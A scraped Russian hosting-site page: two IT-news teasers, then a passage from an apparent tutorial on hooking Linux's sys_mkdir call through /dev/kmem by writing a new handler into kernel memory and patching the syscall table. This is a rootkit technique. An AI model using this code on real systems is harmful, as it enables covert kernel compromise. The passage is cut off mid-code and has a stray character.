Вход на хостинг
IT-новости
20.04.2016 iPhone 2017 года поместят в водонепроницаемый корпус из стекла
Линейка iPhone в новом году серьезно поменяется. В этом уверен аналитический исследователь Мин Чи Ку......
30.07.2015 Ищем уникальный контент для сайта
Ищем уникальный контент для сайта Без уникального контента Ваш сайт обречен на то, что его страницы......
kmalloc.flags = 0x1f0; – спецификатор GFP
А теперь обращаемся к системному вызову sys_mkdir, запустив тем самым на выполнение функцию get_kmalloc:
mkdir((char *)&kmalloc,0);
В результате в пространстве ядра будет выделен блок памяти, указатель на который будет записан в поле mem структуры struct kma_struc. В этом блоке памяти мы разместим функцию new_mkdir, которая будет обслуживать все обращения к системному вызову sys_mkdir.
Восстанавливаем системный вызов sys_mkdir:
if (!wkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) {
printf("Can't restore syscall %d ! ",_SYS_MKDIR_);
return 1;
}
Проверяем значение указателя на блок выделенной памяти. Он должен располагаться выше нижней границы адресного пространства ядра:
if (kmalloc.mem < page_offset) {
printf("Allocated memory is too low (%08x < %08x) ",
kmalloc.mem, page_offset);
return 1;
}
Отображаем результаты:
printf(
"sys_mkdir_addr : 0x%08x "
"get_kmalloc_size : 0x%08x (%d bytes) "
"our kmem region : 0x%08x "
"size of our kmem : 0x%08x (%d bytes) ",
sys_mkdir_addr,
get_kmalloc_size, get_kmalloc_size,
kmalloc.mem,
kmalloc.size, kmalloc.size);
Размещаем в пространстве ядра функцию new_mkdir:
if(!wkm(kmem, kmalloc.mem, (void *)new_mkdir_addr, ї new_mkdir_size)) {
printf("Unable to locate new system call ! ");
return 1;
}
и в таблице системных вызовов заменяем адрес функции sys_mkdir адресом new_mkdir:
if(!wkml(kmem, sct+(_SYS_MKDIR_*4), kmalloc.mem)) {
printf("Eh ...");